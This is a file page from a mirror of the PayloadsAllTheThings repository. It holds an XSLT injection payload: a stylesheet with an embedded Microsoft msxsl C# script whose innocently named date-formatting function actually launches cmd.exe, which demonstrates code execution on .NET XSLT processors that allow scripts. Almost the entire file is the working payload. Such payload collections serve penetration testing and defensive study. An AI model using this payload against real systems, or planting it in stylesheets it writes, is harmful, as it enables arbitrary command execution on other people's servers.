mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-22 12:26:17 +00:00
22 lines
736 B
XML
22 lines
736 B
XML
|
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
|
||
|
<msxsl:script implements-prefix="App" language="C#">
|
||
|
<![CDATA[
|
||
|
public string ToShortDateString(string date)
|
||
|
{
|
||
|
System.Diagnostics.Process.Start("cmd.exe");
|
||
|
return "01/01/2001";
|
||
|
}
|
||
|
]]>
|
||
|
</msxsl:script>
|
||
|
<xsl:template match="ArrayOfTest">
|
||
|
<TABLE>
|
||
|
<xsl:for-each select="Test">
|
||
|
<TR>
|
||
|
<TD>
|
||
|
<xsl:value-of select="App:ToShortDateString(TestDate)" />
|
||
|
</TD>
|
||
|
</TR>
|
||
|
</xsl:for-each>
|
||
|
</TABLE>
|
||
|
</xsl:template>
|
||
|
</xsl:stylesheet>
|